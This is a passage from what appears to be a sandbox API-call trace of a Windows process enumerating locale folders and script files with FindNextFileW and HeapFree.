HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.563] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0187.564] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.564] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0187.565] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.565] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0187.571] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.571] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0187.572] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.572] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0187.573] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.573] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0187.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.575] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0187.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.576] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0187.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.576] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0187.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.577] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0187.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.578] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0187.580] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.580] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0187.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.581] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0187.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.582] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0187.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.582] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0187.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.583] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0187.584] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.584] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0187.584] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.584] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0187.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.899] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0187.899] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.899] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0187.900] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.900] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0187.900] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.900] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0187.900] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.900] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0187.900] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.900] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0187.901] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.901] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0187.901] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.901] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0187.901] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.901] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0187.902] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.902] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0187.902] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.902] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0187.902] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.902] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0187.902] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.902] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.903] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.903] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0187.903] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.903] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0187.904] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.904] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0187.904] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0187.904] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0187.904] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e36, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0187.904] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.907] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0187.907] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0187.907] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0187.908] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-files", cAlternateFileName="")) returned 1 [0188.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0188.602] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0189.214] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.215] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0d074e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0189.218] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0189.218] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0189.219] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, 